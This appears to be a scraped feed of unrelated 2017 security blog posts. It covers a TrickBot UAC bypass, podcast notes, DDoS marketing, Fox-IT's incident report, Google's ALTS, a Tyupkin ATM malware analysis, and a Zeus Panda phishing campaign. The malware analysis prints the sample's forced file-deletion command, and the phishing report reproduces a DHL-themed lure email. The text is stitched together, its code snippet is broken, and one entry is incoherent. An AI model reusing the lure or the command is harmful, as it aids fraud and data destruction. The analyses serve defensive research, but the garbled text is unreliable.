But we have saved the best for last. When the payload was running, we noticed that it didn’t run with user rights, as it always did before. Instead, it was running under the SYSTEM account, i.e. with full system privileges. There was no UAC prompt during the infection sequence, so TrickBot must have used an auto-elevation mechanism to gain admin rights.

A little search in the disassembly quickly revealed an obvious clue:


Combined with a few hard-coded CLSIDs …


… we found out that the actors have implemented a UAC bypass which was (as far as we are aware of) publicly disclosed only a few months ago. The original discovery is explained here:
And later implemented as a standalone piece of code, and most likely the main inspiration for the TrickBot coders:

In short: this bypass is a re-implementation of a COM interface to launch ShellExec with admin rights, and it is used in a standard Windows component “Component Manager Administrator Kit” to install network connections on machine level.

It works everywhere from Windows 7 up to the latest Windows 10 version 1709 with default UAC settings, and considering it’s basically a Windows feature, probably hard to address. In other words, perfect for usage in malware, and it wouldn’t surprise us if we’ll see the same bypass in more families soon.

Thanks to Päivi for the spam graph.


Check the Soundstage – Startup Security Weekly #66

In our article discussion, we discuss managing risk, defining moments for your customers, ditching PowerPoint for better apps, and planning communications to avoid pitfalls! In the news, we have updates from Simility, Upstream, ShieldX, Atos, Menlo Security, and more on this episode of Startup Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

DDoS Attacks Gain Notoriety via Bitcoin

For the most part, only IT security people worry about DDoS attacks. Except for last October’s attack on Dyn, which impacted hundreds of websites such as NetFlix, Twitter and Reddit, most consumers are blithely unaffected by the relentless tide of DDoS attacks that afflict various organizations across various sectors. But because of the recent spate of DDoS attacks on Bitcoin platforms (most notably Bitfinix and Coinbase) in the past couple of weeks, some ordinary consumers have grown aware of this cyber threat. The DDoS attacks have shut down or limited some Bitcoin cryptocurrency exchanges, which makes it difficult or impossible for Bitcoin cryptocurrency traders to access or trade their Bitcoin digital cryptocurrency. This is frustrating for traders, of course.

Another key difference between these Bitcoin attacks and the Dyn attack was that the Dyn attack lasted only several hours, whereas the Bitcoin attacks have hit several exchanges over several months or weeks. With thousands, or millions, of traders engaged with Bitcoin platforms, those cryptocurrency exchanges probably feel pressure from their dissatisfied customers, and thus recognize the crucial importance of DDoS protection.

The Repercussions of DDoS Attacks

When an online game goes offline due to a DDoS attack, players cannot make trades. Gamers get angry because they are playing for high stakes money and/or reputation; they leave the site, and as a result the gaming company loses revenue. Similarly, Bitcoin traders get angry when they can’t trade their cryptocurrency. The traders may want to buy more or sell their cryptocurrency but they can’t because the Bitcoin site is not functioning. Two things happen as a result: 1) the value of the currency goes down, and 2) traders are likely to change to different trading platform as soon as possible. Website downtime is bad for the Bitcoin business in terms of lost revenue and tarnished brand reputation. However, the stakes are higher in the Bitcoin world, because trading is not a game or hobby (though some might consider it play money), and it impacts people’s financial assets. Cryptocurrency trading is not simply a game like Minecraft or Blizzard.

Simultaneously, some Bitcoin exchanges are suffering performance and availability issues because their digital infrastructure is not as robust as say, NASDAQ, to handle the high volume in Bitcoin trades that have been happening due to the dramatic rise in Bitcoin value. Overall, the digital cryptocurrency industry is facing two big cyber challenges, both of which affect website availability: system infrastructure capacity, and DDoS attacks. Cryptocurrency exchanges can take steps to solve both problems, but will they deploy DDoS protection in the near future? The answer to that question is a bit (pardon the pun) unpredictable. More people than ever are waiting to find out.

Corero has been a leader in DDoS protection for over a decade. For information about how you can protect your organization from DDoS attacks, contact us.

Spread Your Vegemite – Paul’s Security Weekly #540

Joe Gray of the Advanced Persistent Security podcast joins us for an interview! Ed Skoudis of the SANS Institute joins us to discuss the SANS Holiday Hack Challenge and what he’s been up to in the cyber world! In the news, the team discusses on-demand webcasts, net neutrality, pen testing, and Vegemite with Joff!

Full Show Notes:

Visit for all the latest episodes!


Firestarter: Breacheriffic EquiFail

Posted under: Firestarter

This week Mike and Rich address the recent spate of operational fails leading to massive security breaches. This isn’t yet another blame the victim rant, but a frank discussion of why these issues are so persistent and so difficult to actually manage. We also discuss the rising role of automation and its potential to reduce these all-too-human errors.

Watch or listen:

- Rich (0) Comments Subscribe to our daily email digest

Windscribe Pro review: It’s all about the extras

Windscribe in brief:

  • P2P allowed: Yes, on most servers
  • Number of servers: 321
  • Business location: Richmond Hill, Ontario, Canada
  • Number of country locations: 50
  • Cost: $49 billed annually

Metropolitan Toronto is something of a VPN hub these days. We’ve already looked at TunnelBear and recent Symantec acquisition SurfEasy, both based in Toronto. Now it’s time to look at Windscribe, a capable VPN based just outside of Canada’s largest city.

To read this article in full, please click here

BGP hijackers: “This traffic is going to Russia!”

Traffic sent to and from major internet sites was briefly rerouted to an ISP in Russia by an unknown party. The likely precursor of an attack, researchers describe the Dec. 13 event as suspicious and intentional.

According to BGPMON, which detected the event, starting at 04:43 (UTC) 80 prefixes normally announced by several organizations were detected in the global BGP routing tables with an Origin AS of 39523 (DV-LINK-AS), out of Russia.

Lessons learned from a Man-in-the-Middle attack

It’s become a widely accepted mantra that experiencing a cyber breach is a question of ‘when’ and not ‘if’. For Fox-IT ‘if’ became ‘when’ on Tuesday, September 19 2017, when we fell victim to a “Man-in-the-Middle” attack. As a result of the multi-layered security protection, detection and response mechanisms we had in place, the incident was both small and contained, but as a cyber security specialist it has made us look long and hard at ourselves. While the police investigation is still on-going, we are sharing details of this incident with the public now that we feel confident that most details are sufficiently clear. This is about who we are and what we do. We believe that ultimately in these cases, transparency builds more trust than secrecy and there are lessons to be learned, both good and bad, that we want to share.

So what happened?

In the early morning of September 19 2017, an attacker accessed the DNS records for the domain at our third party domain registrar. The attacker initially modified a DNS record for one particular server to point to a server in their possession and to intercept and forward the traffic to the original server that belongs to Fox-IT. This type of attack is called a Man-in-the-Middle (MitM) attack. The attack was specifically aimed at ClientPortal, Fox-IT’s document exchange web application, which we use for secure exchange of files with customers, suppliers and other organizations. We believe that the attacker’s goal was to carry out a sustained MitM attack.

Because we detected and addressed the breach quickly we limited the total effective MitM time to 10 hours and 24 minutes. In the scheme of the industry average time of detection of weeks this was a short exposure, but we couldn’t prevent the attacker from intercepting a small number of files and information that they should not have had access to. An important first step in our response was to contact Law Enforcement and share the necessary information with them to enable them to start a criminal investigation.

The incident unfolded as follows (all times are CEST):

Sept 16 2017 First reconnaissance activities against our infrastructure that we believe are attributable to the attacker. These included regular port scans, vulnerability scans and other scanning activities.
Sept 19 2017, 00:38 The attacker changed DNS records for domain at a third party provider.
Sept 19 2017, 02:02 Latest moment in time that we have been able to determine that still pointed to our legitimate ClientPortal server. This means that traffic destined for the ClientPortal was not being intercepted yet.
Sept 19 2017, 02:05-02:15 Maximum 10-minute time window during which the attacker temporarily rerouted and intercepted Fox-IT email for the specific purpose of proving that they owned our domain in the process of fraudulently registering an SSL certificate for our ClientPortal.
Sept 19 2017, 02:21 The actual MitM against our ClientPortal starts. At this point, the fraudulent SSL certificate for ClientPortal was in place and the IP DNS record for was changed to point to a VPS provider abroad.
Sept 19 2017, 07:25 We determined that our name servers for the domain had been redirected and that this change was not authorized. We changed the DNS settings back to our own name servers and changed the password to the account at our domain registrar. This change will have taken time to have full effect, due to caching and the distributed nature of the domain name system.
Sept 19 2017, 12:45 We disabled the second factor authentication for our ClientPortal login authentication system (text messages), effectively preventing users of ClientPortal from successfully logging in and having their traffic intercepted. Other than that, we kept ClientPortal functional in order not to disclose to the attacker that we knew what they were doing, and to give ourselves more time to investigate. At this point, the MitM against ClientPortal was still active technically, but would no longer receive traffic to intercept as users would not be able to perform two factor authentication and log in.
Sept 19 – Sept 20 2017 A full investigation into the incident was undertaken, along with notification of all clients that had files intercepted and the relevant authorities, including the Dutch Data Protection Authority. A police investigation was launched and is still ongoing. Based on the outcome of our investigation, we understood the scope of the incident, we knew that the attack was fully countered and we were prepared to re-enable two factor authentication on ClientPortal in order to make it fully functional again.
Sept 20, 15:38 ClientPortal fully functional again. Our internal investigation into the incident continued.

What kind of information did the attacker intercept?

As mentioned, the attacker was able to redirect inbound traffic to ClientPortal and emails going to the domain for a short period of time. At no stage did they have access to any external or internal Fox-IT system, or indeed system level access to our ClientPortal.

When investigating the attack, we made heavy use of our own technology. For all Fox-IT traffic, we employ CTMp network sensors to detect anomalies and alert us of attacks. All our sensors do full packet capture and this is what allowed us to determine precisely, beyond any doubt, which information was intercepted by the attacker, the timeline of the event and who was affected by the attack.

Because of this we know the following about the information that the attacker was able to intercept:

  • We know the following facts about the information that the attacker intercepted:
    1. Nine individual users logged in and their credentials were intercepted and all users were contacted immediately. Because we use two factor authentication, these credentials alone were not enough for the attacker to log in to ClientPortal.
    2. Twelve files (of which ten were unique) were transferred and intercepted.
      • Of these, three files were client confidential in nature, none were classified as state secret. Files classified as state secret are never transferred through our ClientPortal.
      • Other files were in the public domain and not confidential.
      • All affected clients in respect of these files were contacted immediately.
    3. One mobile phone number was intercepted and this person was informed.
    4. A subset of names and email addresses of ClientPortal users were intercepted.
      • We determined that this information alone would not be considered sensitive, but we have nevertheless informed those people affected.
    5. The names of accounts in ClientPortal were intercepted.
      • This is a list of the names of organizations that we have exchanged files with in the past. This includes organizations such as customers, partners and suppliers.
      • After review, we determined that the names alone would not be considered sensitive.
  • Email: we know that the attacker intercepted Fox-IT email for a maximum of 10 minutes, and that during those 10 minutes, emails destined for Fox-IT were redirected to an external email provider. Since email distribution is decentralized on the internet, we have no way of determining which emails were intercepted by the attacker during that time.

The start of the incident response process

We have determined that the attacker successfully logged in to the DNS control panel of our third party domain registrar provider using valid credentials. This raises two key questions:

  • How were valid credentials obtained?
  • Why was access to the domain registrar possible with single factor rather than multi factor authentication?

On the question of how the credentials were obtained we have conducted extensive internal investigations alongside those conducted by the police investigating the incident. We interviewed people that had access to the vault, carried out extensive forensic investigation of all the systems that the password could been used on, and performed additional network forensics. We currently have no evidence that the password was stolen from any of our own internal systems. Right now, based on our own and the police investigation, we have strong evidence that supports our hypothesis that the adversary gained access to our credentials through the compromise of a third party provider. Investigations are ongoing.

A factor which possibly helped the attacker was that the password had not been changed since 2013. While our password is considered strong and can withstand brute force attacks, it was not changed because it was hardly ever used: DNS settings in general change very rarely. Nevertheless, this was something we could clearly have improved in our process.

The infrequency of our engagement with our domain registrar is also behind the answer to the second question, as to how the attacker was able to gain access to the DNS records solely using a username/password combination. Two factor authentication (2FA) – whereby the initial attempt to log-on can only be completed once a code sent to an authorized device is entered as second factor authentication – should be standard practice here. We chose our domain name registrar provider 18 years ago when 2FA was neither a consideration nor a possibility. We were surprised to find that the registrar still does not support 2FA. It is always worth asking: does your DNS registrar support 2FA? The answer may surprise you.

Reasonably quick detection but room for improvement

We hold our hands up to a number of errors on prevention, but we did decidedly better in the areas of detection and response. Once the attack was ongoing, we detected it reasonably quickly: within a few hours compared to the typical industry average of weeks before an attack is detected.

Our Security Operations Center (SOC) had noticed that a number of scans for weaknesses on our infrastructure were made in the days leading up to the attack. These were treated as regular “background noise on the internet” and not followed up on. While paying attention to those scans would probably not have helped us predict the following attack, it would certainly have raised our attention and we have now established mechanisms to improve early warning of suspicious security probing of this nature.

Effective response, containment and scope determination

In general, once an incident is detected, the most important goal becomes to limit the incident and determine the impact of the attack. Once we knew about the incident, we acted quickly and we were able to limit the impact of the incident quite effectively and in a timely manner.

The most important action that we took in order to limit the impact of the attack was to disable 2FA, in lieu of disabling login functionality altogether. We did this specifically to prevent people from successfully logging in but so as not to alert the attacker to the fact that we knew of the attack. This allowed us to better understand the modus operandi and scope of the attack before taking specific actions to mitigate it, an approach which is standard operating procedure for our CERT team. From that moment on, nobody could log in, effectively preventing traffic to our ClientPortal from being intercepted. Note that this did not directly stop the attack, but it stopped its effectiveness.

The use of full packet capture and CTMp network sensors was crucial in determining the scope of the attack. We could, within a few hours of finding out about the attack, determine exactly who was affected and what the scope of the attacker was. This helped us to understand the incident with confidence and to quickly notify those directly affected and the Dutch Data Protection Authority.

Lessons learned and recommendations

Looking back on this incident, we learned the following lessons and have the following recommendations:

  • Choose a DNS provider that doesn’t allow changes through a control panel but requires a more manual process, considering that name servers are very stable and hardly every change. If you do require more frequent changes, use 2FA.
  • Ensure that all system access passwords are reviewed regularly and changed, even those which are used rarely.
  • Deploy certificate transparency monitoring in order to detect, track and respond to fraudulent certificates.
  • Deploy full packet capture capabilities with good retention in crucial points of your infrastructure, such as the DMZ and border gateways.
  • Always inform Law Enforcement at an early stage, so that they can help you with your investigations, as we did in our case.
  • Make it a management decision to first understand an attack before taking specific actions to mitigate it. This may include letting an attack continue for a short period of time. We consciously made that decision.

Looking back in conclusion

While we deeply regret the incident and the shortcomings on our part which contributed to it, we also acknowledge that a number of the measures we had in place enabled us to detect the attack, respond quickly and confidently and thereby limited the scale and length of the incident. And that’s why the twin mantras in security should always be followed:

  • layered security; and
  • prevention, detection and response.

At the time that ‘if’ becomes ‘when’, it is the combination of these that ultimately determines your overall resilience and cyber security stance.

ISPs Can Help Their Customers Defend Against DDoS Attacks

Every organization has IT security vulnerabilities, and many need to be especially concerned about distributed denial of service (DDoS) attacks. In the past, most companies worried about DDoS attacks only if they were a high-profile target for “hacktivists,” or if they were part of the banking or online gaming industries. Times have changed however, so DDoS attacks rank high on the list of IT security concerns across many industries, for good reason: DDoS attacks have increased in sophistication, size, and frequency, and they are used to target many types of organizations.

As the DDoS threat grows more complex, more companies are looking to their Internet Service Provider (ISP) for protection. ISPs are responding. It makes sense for ISPs to lead the charge against DDoS attacks, because they serve as the Internet gateways and can eliminate the DDoS threat closer to the source. By deploying DDoS protection at the top of the funnel, they protect their own infrastructure while offering a comprehensive security solution to their customers as a paid-for managed service. It’s a win-win situation; for ISPs it turns a threat into an opportunity, and for ISP customers it’s much more cost effective—and less complicated—for them to secure DDoS protection from their trusted provider.

In a recent webinar GTT, a leading global cloud networking provider to multinational clients, spoke about its Distributed Denial of Service (DDoS) Mitigation service a new offering within its Managed Security suite. The proactively-managed service protects organizations from malicious Internet traffic, ensuring the continuity and security of their business operations. As the operator of a top five, Tier 1 IP backbone, GTT has the network capacity and mitigation capability to defend against even complex DDoS attacks. Its DDoS Mitigation service provides their clients with peace of mind that their network and business remain safe from threats.

GTT’s DDoS Mitigation augments the company’s IP Transit and Dedicated Internet Access services, providing automated, real-time detection and mitigation of attack traffic and returning clean traffic to the impacted organization. GTT utilizes Corero’s SmartWalll® Threat Defense System as the platform for its DDoS Mitigation service, delivering comprehensive visibility into IP traffic and attack information, with access to detailed reporting via GTT’s client portal.

The flexible service provides a default, always-on option for clients that require immediate, proactive mitigation. GTT also offers an on-demand solution for clients who prefer to initiate mitigation. GTT’s pricing is based on traffic volume, and all services are backed by stringent response time SLAs.

The bottom line is that DDoS Protection as a Service via ISPs is scalable and affordable, making it much easier for organizations to protect their networks from DDoS threats.

For more information, contact us.

In the Clouds – Enterprise Security Weekly #72

Jeff Schilling, CSO of Armor joins us for an interview to discuss Cloud based security and incident response! In the news, updates from LogRhythm, Optiv Security, Fortinet, RiskSense, and more on this episode of Enterprise Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

IDG Contributor Network: Who are you really inviting in?

Back in the olden days, you might have hidden a key under the door mat, in a flower pot, or hanging on an inconspicuous nail somewhere on your property. It not only meant you would never be locked out of your own home, but it was also a move for safety or convenience. Paramedics could open your door with directions if you were hurt inside your home, and neighbors who called you at work about a large package on your doorstep could help you out by moving it inside.

Over the years, technology has caught up with our home security. For years now, retailers have sold front door deadbolt locks that allow outsiders access to your property by punching in the physical buttons on the lock, releasing the mechanism and letting them open the door. That meant changing out the code every single time you shared it with someone though, just to ensure that they didn’t come back at a later date.

To read this article in full, please click here

Securing communications between Google services with Application Layer Transport Security

At Google, protection of customer data is a top priority. One way we do this is by protecting data in transit by default. We protect data when it is sent to Google using secure communication protocols such as TLS (Transport Layer Security). Within our infrastructure, we protect service-to-service communications at the application layer using a system called Application Layer Transport Security (ALTS). ALTS authenticates the communication between Google services and helps protect data in transit. Today, we’re releasing a whitepaper, “Application Layer Transport Security,” that goes into detail about what ALTS is, how it protects data, and how it’s implemented at Google.

ALTS is a highly reliable, trusted system that provides authentication and security for our internal Remote Procedure Call (RPC) communications. ALTS requires minimal involvement from the services themselves. When services communicate with each other at Google, such as the Gmail frontend communicating with a storage backend system, they do not need to explicitly configure anything to ensure data transmission is protected - it is protected by default. All RPCs issued or received by a production workload that stay within a physical boundary controlled by or on behalf of Google are protected with ALTS by default. This delivers numerous benefits while allowing the system work at scale:

  1. More precise security: Each workload has its own identity. This allows workloads running on the same machine to authenticate using their own identity as opposed to the machine’s identity.
  2. Improved scalability: ALTS accommodates Google’s massive scale by using an efficient resumption mechanism embedded in the ALTS handshake protocol, allowing services that were already communicating to easily resume communications. ALTS can also accommodate the authentication and encryption needs of a large number of RPCs; for example, services running on Google production systems collectively issue on the order of O(1010) RPCs per second.
  3. Reduced overhead: The overhead of potentially expensive cryptographic operations can be reduced by supporting long-lived RPC channels.

Multiple features that ensure security and scalability

Inside physical boundaries controlled by or on behalf of Google, all scheduled production workloads are initialized with a certificate that asserts their identity. These credentials are securely delivered to the workloads. When a workload is involved in an ALTS handshake, it verifies the remote peer identity and certificate. To further increase security, all Google certificates have a relatively short lifespan.

ALTS has a flexible trust model that works for different types of entities on the network. Entities can be physical machines, containerized workloads, and even human users to whom certificates can be provisioned.

ALTS provides a handshake protocol, which is a Diffie-Hellman (DH) based authenticated key exchange protocol that Google developed and implemented. At the end of a handshake, ALTS provides applications with an authenticated remote peer identity, which can be used to enforce fine-grained authorization policies at the application layer.

ALTS ensures the integrity of Google traffic is protected, and encrypted as needed.

After a handshake is complete and the client and server negotiate the necessary shared secrets, ALTS secures RPC traffic by forcing integrity, and optional encryption, using the negotiated shared secrets. We support multiple protocols for integrity guarantees, e.g., AES-GMAC and AES-VMAC with 128-bit keys. Whenever traffic leaves a physical boundary controlled by or on behalf of Google, e.g., in transit over WAN between datacenters, all protocols are upgraded automatically to provide encryption as well as integrity guarantees. In this case, we use the AES-GCM and AES-VCM protocols with 128-bit keys.

More details on how Google data encryption is performed are available in another whitepaper we are releasing today, “Encryption in Transit in Google Cloud.”

In summary, ALTS is widely used in Google’s infrastructure to provide service-to-service authentication and integrity, with optional encryption for all Google RPC traffic. For more information about ALTS, please read our whitepaper, “Application Layer Transport Security.”

Tyupkin ATM Malware: Take The Money Now Or Never!

A Sandbox is a dynamic file analysis system that allows a researcher to analyze the behavior of potentially malicious code in a virtualized environment without damaging a real host system. In some cases, a sandbox has to analyze an attack without seeing the full chain (for example when it analyzes a dropped file without the corresponding dropper component) or must work with limited information about the target environment (for example when an attack targets a particular operating system or runtime). In the worst-case scenario, these missing pieces can completely hinder the sandbox’s ability to successfully run an application.

Lastline Sandbox

In today’s blog post, we are going to dive deep into one such example and show how the Lastline sandbox can still classify malware despite an incomplete environment, and even how a security researcher or incident responder can still be able to elicit behavior from a malware sample. This can be done via the so-called application bundles. These bundles allow the user to extend, customize, and tailor the analysis environment to the needs of the particular attack and allow us to analyze and dissect an application requiring non-existent Windows DLLs, file path or registry values.

ATM Malware

For today’s case study, we use a Tyupkin malware sample, a .Net application for bank automated teller machines (ATM) running on the Microsoft Windows operating system. Tyupkin’s aim is to steal cash by sending a specific command to the cash dispenser of the compromised ATM. During the analysis, our sandbox will trick the malware into believing that our analysis environment is an ATM itself. We will achieve this by submitting our sample bundled with a few specific DLLs that provide programmer’s interfaces to a Windows-based ATM, Extensions for Financial Services (XFS).

Delivery Vectors

Interestingly, this malware family seems to be delivered to the ATM manually. In other words, to install the malware, the attacker requires physical access to an ATM via an exposed USB port or other input/output bus. Note that this is not usually necessary as some attackers have been known to install ATM malware as part of an internal software update processes.


As with many malware families, ATM malware actively tries to hinder incident response and evade dynamic analysis systems by using well-known, off-the-shelf code protectors and packers, such as .NET Reactor, .Net Confuser, VMProtect, and Themida. This is a common self-defense mechanism. For example, one of the previously seen ATM infectors packed with the Themida packer makes use of several anti-debug and anti-sandbox tricks (as shown below in the analysis overview of the sample SHA1: 3022e60790e17303def03761c8fa7e7393a0ad26): IsDebuggerPresent, CheckRemoteDebuggerPresent, RDTSC timing evasions, and Windows class names to name a few.

Figure 1: Lastline analysis overview of an ATM infector packed with Themida

Figure 1. Lastline analysis overview of an ATM infector packed with Themida

Some other families, such as ATMii, are known to perform the remote code injection hiding the malicious code in a specific ATM process.

Figure 2. Lastline analysis overview of an ATMii malware, remote code injection

Figure 2. Lastline analysis overview of an ATMii malware, remote code injection

Tyupkin Malware

The piece of ATM malware that is the subject of this article is known as Tyupkin (SHA1: 0c3e6c1d4873416dec94c16e97163746d580603d). The entry point has the following code:

Figure 3. The entry point

Figure 3. The entry point

The first sandbox evasion we see is an execution delay of 10 minutes. Considering that many automated malware analysis systems to allocate only 4-5 minutes to analyze application behaviors, it is not a surprise to see such a simple yet potentially effective evasion attempt.

Let’s now step into the Form1 class, and further, into the InitializeComponent method. The purpose of this method is to register a specific event handler Form1_Shown.

Figure 4. Registering an event handler

Figure 4. Registering an event handler

Below a fragment of “Form1_Shown” code:

Figure 5. Form1_Shown function

Figure 5. Form1_Shown function

It first retrieves a path to the system directory through the SHGetFolderPath function and verifies whether it already infected the underlying system. Then it hides the main window by calling ShowWindow API with SW_HIDE parameter, and adds itself to the autorun to make sure it will run after reboot:


Next, it checks whether the connection to the XFS Manager was successfully established and if not, it deletes itself by using the following command:

del /F /S /Q C:\WINDOWS\system32\ulssm.exe

If the connection is successful, the program runs two threads: the first checks the current system time which then allows the second thread to execute only on Sunday and Monday nights, and only at specific time intervals. This is done by calling a combination of _time64 and _localtime64 functions, and then parsing the time_t structure. We can see a snippet of such code in the fragment below:

Figure 6. Checking time interval, Tyupkin ATM malware

Figure 6. Checking time interval, Tyupkin ATM malware

The second thread contains the main functionality of the malware. Tyupkin supports several operations, or activation codes, known only by the criminals, which prevents unauthorized access (or black-box analysis approach). Given a proper activation code (entered using the ATM PIN pad) the malware can delete itself or hide/show its main window. It can also programmatically disable the network interfaces through the NcFreeNetconProperties API (netshell.dll) every time the cash is dispensed (probably to foil any attempt to communicate with the infected machine):

Figure 7. Disabling LAN (beautified decompiled code)

Figure 7. Disabling LAN (beautified decompiled code)

The malware is also able to extend the timeout interval (probably for those sleepyheads criminals who don’t want to withdraw money just during the first hours of the day, as mandated by the checks performed by the first thread), and, most importantly, to withdraw money, which is after all its main purpose. This is achieved by calling WFSExecute API when the dwCommand parameter is equal to WFS_CMD_CDM_DISPENSE (0x12E). To get the current balance of the cash units, the malware calls WFSGetInfo API with dwCategory parameter set to WFS_INF_CDM_CASH_UNIT_INFO (0x303). If successful, the following text will appear on the ATM’s screen: “Take the money now!” prompting the user to enter a cassette number and press enter:

Figure 8. Dispensing cash, Tyupkin ATM malware

Figure 8. Dispensing cash, Tyupkin ATM malware

Below is the complete workflow of the Tyupkin ATM malware:

Figure 9. Tyupkin ATM malware workflow

Figure 9. Tyupkin ATM malware workflow

Automatic Analysis for Detection

As we can see in the analysis above, this Tyupkin malware family requires a very specific environment to exhibit its behavior. Even if the malware successfully loads (which is not a given) entire functionalities are still not triggered if a specific library is not installed.

As we discussed in earlier blog posts, the Lastline analysis engine is able to dynamically adjust the environment to meet the attackers’ goals, to alter the system information at runtime, or detect malicious behaviors even in program sections that are not fully executed.

Another approach to detect this type of targeted attack is by using the environment sensitivity of the program against the attacker itself. The main idea is to flag a sample as suspicious whenever the analyzed code is deemed too dependent on a specific environment, for example when some ATM components are required for execution.

Manual Analysis via Lastline Application Bundles

Detecting such malware is important, but sometimes a malware analyst needs to go further and see more details of the behavior by manually adjusting the analysis environment to meet the attacker requirements. This can include invoking the executable with a specific command line, altering the registry or file-system, or loading code in the context of a particular process.

The Lastline analysis sandbox allows doing exactly this via a concept we call Lastline application bundles. These bundles, called llappbundles, allow the analyst to specify exactly how the environment is to be “prepared” and how the analysis will be performed by the sandbox (both Windows or Mac OS sandboxes are supported).

For example, sometimes an executable requires additional command line launch parameters—must be run from a particular folder or with a specific file name—or it should run a specific export function (in case of DLL), or run a file imports APIs from a DLL that is not present in the guest OS. All these issues are addressed by llappbundles. Below we can see a screenshot of a successful (i.e., complete with behaviors) execution of the Typkin malware after loading an application bundle with both sample and required libraries.

Figure 10. Tyupkin analysis overview, Lastline Application Bundle

Figure 10. Tyupkin analysis overview, Lastline Application Bundle

In order to create an application bundle we used the create_appbundle function:

import logging

import llappbundle.helper

tyupkin_appbundle = llappbundle.helper.create_appbundle(


        r"ulssm.exe": open("myfiles/tyupkin.exe_", "rb"),

        r"msxfs.dll": open("myfiles/msxfs.dll", "rb"),

        r"xfs_supp.dll": open("myfiles/xfs_supp.dll", "rb"),

        r"xfs_conf.dll": open("myfiles/xfs_conf.dll", "rb")






with open('myfiles/','wb') as output_stream:


Another approach is to create an archive with all the DLLs and the main executable file—the Lastline analysis engine is smart enough to generate an application bundle from it.


In this article, we showed how a security researcher or incident response organization can analyze applications, such as ATM malware, that require non-default Windows libraries. By submitting programs as application bundles (llappbundles), it is possible to perform dynamic customization of the guest analysis environment. This easily allows incident responders to investigate evasion and persistence mechanisms as well as analyze packers and protectors that are normally used to hinder analysis. Further, it is possible to improve detection of samples targeting specific environments, a behavior commonly found in advanced persistent threats.

The post Tyupkin ATM Malware: Take The Money Now Or Never! appeared first on Lastline.

Dancho Danchev’s 2010 Disappearance – An Elaboration

UPDATE: It appears that the robot has been persistently sprayed with homo-sexual spray including a possible female spray leading to a persistent harassment and torture currently affecting my life-being work-relationships and intellectual property. UPDATE: It appears that someone managed to placed a box on the top of the robot for a period of several years successfully blinding me and

Hack Naked News #153 – December 12, 2017

Paul reports on Google patches, vulnerability in two keyless entry locks, Mozilla security updates, and 1.4 billion plain-text leaked passwords found online! Jason Wood of Paladin Security joins us for the expert commentary, and more on this episode of Hack Naked News!


Full Show Notes:


Visit for all the latest episodes!

Criminals in a festive mood

This morning the Fox-IT Security Operations Center observed a large number of phishing e-mails that contained a link to a downloadable zip file. Anyone downloading and opening that zip file would infect themselves with banking malware, that would subsequently try to lure the victim into divulging their credit card information.

So far nothing new: e-mail as attack vector, distribution of the Zeus Panda banking trojan, targeting the same institutions.

Except that this time, it appears the criminals are preparing for the festive season. What stood out to us is the inclusion of a number of local retailers that are now targeted by this banking trojan. Some targeted websites which were extracted from the configuration are:

  • Coolblue
  • Otto
  • Amazon
  • De Volksbank (SNS, ASN & Regiobank)
  • ING
  • ABN Amro
  • Knab
  • Triodos

So now, when someone has infected themselves with this malware by opening the malicious zip file, not only will the malware ask for their credit card details when they visit their bank’s website, but also when they visit an online retailer for (Christmas) shopping.

Read on for recommendations, notable observations, stats and screenshots and technical details including indicators of compromise.

The usual recommendations for end users apply: be alert for criminals attacking you by sending legitimate looking e-mails with links and attachments. And be alert for websites behaving differently and asking for credit card details or other personal data where they normally don’t. If you suspect an infection, you may check out a website from a different device to see if it behaves the same. If it doesn’t, you may be infected.

The e-mail itself is nothing out of the ordinary. It appears to be targeting the Netherlands and Germany, using Dutch text and faking the Dutch DHL Group. This is what it looks like:

Beste heer/mevrouw,
UW ZENDING IS ONDERWEG ,Informatie Over Uw Zending is in dokument.

Controleer hieronder uw zending- en contactgegevens. Klik op om te bevestigen.
Bedankt dat u heeft gekozen voor On Demand Delivery.
DHL Express – Excellence. Simply delivered.
Nederlandse Post DHL Group

For organisations, the recommendations are also familiar: isolate any infected systems prior to cleaning them, change any password that was used after infection and consider client certificates on that system compromised. You may refer to the indicators of compromise later on in this post.

Additional interesting observations
The malware that is being distributed is called Zeus Panda, which we’ve followed for almost two years now. This is a variant of the Zeus family of malware that Fox-IT has observed since around 2006, for the purpose of protecting its own customers. The name Zeus Panda comes from the web panel used by the malware operators.

At the time of writing, the two malicious zip file referred in the emails received a little over 48 thousand clicks, mostly in the Netherlands, but also in other parts of Western Europe and some in North America. Out of those 48 thousand clicks, only 11 thousand came from a Window system, which is the only platform that the malware runs on. The other 37 thousands people were safe! A clear example and proof of the shotgun approach that criminals still successfully use.

Also interesting is the clunky nature of the injects. As shown in the screenshots below, the code that the criminals inject into the website on the infected system looks, well, unfinished.

Full statistics
The link in the email is a Google Shortened URL, which downloads the zip-file from

By default Google shortened URL’s keeps track of the following statistics:
– Amount of clicks
– Used Browsers
– Referrers
– Countries
– Platforms

Requesting the statistics of the shortened URL results in the following statistics for:


Screenshot of the inject asking for credit card details
From an infected system, Zeus Panda will inject extra code into a website. Once the code is injected into one of the targeted web pages, an extra form is added for creditcard information. For example, Coolblue’s webshop page would look like this, clunky and unfinished. Please note that Coolblue has no control over the fact that criminals attempt to inject code into their website from infected machines.


Zeus Panda Banker web inject

EDIT: the total click count for both domains has increased to a total of 66 thousand, even though both ZIP-files are not available anymore.

Indicators of Compromise
hxxp:// (compromised website)
hxxp:// (compromised website)

hxxps:// (SSL connection)

—External panel for injects—

MD5: aefc0fe15836165291cb66eac5ffd177
SHA256: 588e31ac96bd6318f787602e87f86b75d4b5537679e11ba5a509589148033275

contactgegevens 12_2017_10_00_.js
MD5: deb9a0aa69270a0b263b80ed13880b24
SHA256: eb65b1d5f5b3ccc263a4984275c084b63b0a262a87d55887d6a4d744a75e4112

MD5: 4ac38a4efa276f8d64c1ed39a53e7ab8
SHA256: e556273db50d4588d7e4b5183d06d39b0ebedbb094fc2a39b59416212c829324

DDoS Attacks Can Be Weapons in Cyber Warfare

Banks, energy utilities, transportation hubs and hospitals; these are the most high-profile examples of critical infrastructure that could be targeted by hackers. The perpetrators could be lone wolf actors, terrorist cells or nation-states. Recently SC Magazine published an article about the likelihood of an attack on critical infrastructure in the United Kingdom, noting that “Attacks on critical national infrastructure are growing in number and sophistication.” Below, we will answer 3 questions that should clear up how DDoS attacks are used as weapons in cyber warfare and how cybercriminals use DDoS attacks to their advantage.

How Do They Produce Attacks?

